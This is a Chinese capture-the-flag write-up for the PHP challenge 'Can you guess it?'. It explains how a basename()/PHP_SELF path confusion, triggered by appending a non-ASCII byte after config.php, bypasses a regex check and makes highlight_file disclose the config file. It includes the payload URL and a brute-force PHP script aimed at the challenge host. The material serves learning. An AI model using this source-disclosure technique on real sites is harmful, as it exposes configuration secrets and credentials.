源码
<?php include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); }
if (isset($_GET['source'])) { highlight_file(basename($_SERVER['PHP_SELF'])); exit(); }
$secret = bin2hex(random_bytes(64)); if (isset($_POST['guess'])) { $guess = (string) $_POST['guess']; if (hash_equals($secret, $guess)) { $message = 'Congratulations! The flag is: ' . FLAG; } else { $message = 'Wrong.'; } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Can you guess it?</title> </head> <body> <h1>Can you guess it?</h1> <p>If your guess is correct, I'll give you the flag.</p> <p><a href="?source">Source</a></p> <hr> <?php if (isset($message)) { ?> <p><?= $message ?></p> <?php } ?> <form action="index.php" method="POST"> <input type="text" name="guess"> <input type="submit"> </form> </body> </html>
|
知识点
$_SERVER['PHP_SELF']` 表示当前 php 文件相对于网站[根目录]的位置地址,与 document root 相关 下面是本地测试截图,也就是`http://.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'] 即在url输入/index.php/config.php 会触发第一个if语句
basename() 函数会返回路径中的文件名部分 假如路径是/index.php/config.php 浏览器的解析结果都是index.php 而basename会返回config.php 就算后面跟上多余的字符也会返回文件名部分 如/index.php/config.php/?source返回config.php basename()会去掉文件名开头的非ASCII值。
random_bytes(num)生成num个随机的字符,bin2hex(str)将字符转化为十六进制数方便我们观察,这里我就想到会不会是之前做过的一个题目,只要种子一样,随机数其实是定下来的,也就是所谓的伪随机数,这里还有一个比较函数hash_squals,比较两个字符串是否一样 查完发现从这里突破的可能性较小
|
解题
漏洞点:hightlight_file,使路径名解析完是config.php,且绕过第一个if
绕过第一个if:只要不让解析完config.php是结尾就行,后面加上不可见字符或者其他汉字,中文字符都行——>config.php/%ff
第二个if只需要加上?source就行了
payload:index.php/config.php/文?source
PHP脚本:
function check($str) { return preg_match("/config\.php\/*$/i", $str); }
for ($i = 0; $i < 255; $i++) { $url = "/index.php/config.php/" . chr($i); if (!check($url)) { // echo "\n"; // echo $i."---".chr($i)."---".basename($url); if (basename($url) == "config.php") { $furl = "http://756d1e03-c817-450b-af4a-23928b5cbb3c.node4.buuoj.cn:81/index.php/config.php/" . chr($i) . "?source"; // echo $furl; $html = file_get_contents("http://756d1e03-c817-450b-af4a-23928b5cbb3c.node4.buuoj.cn:81/index.php/config.php/" . chr($i) . "?source"); if (preg_match("/flag\{.*?\}/", $html, $flag)) { echo $i."\n"; // echo $html; // print_r($flag); echo $flag[0]; break; } } } }
|
参考:
https://blog.csdn.net/solitudi/article/details/108912334
https://www.cnblogs.com/yesec/p/15429527.html
https://blog.csdn.net/qq_54929891/article/details/123662382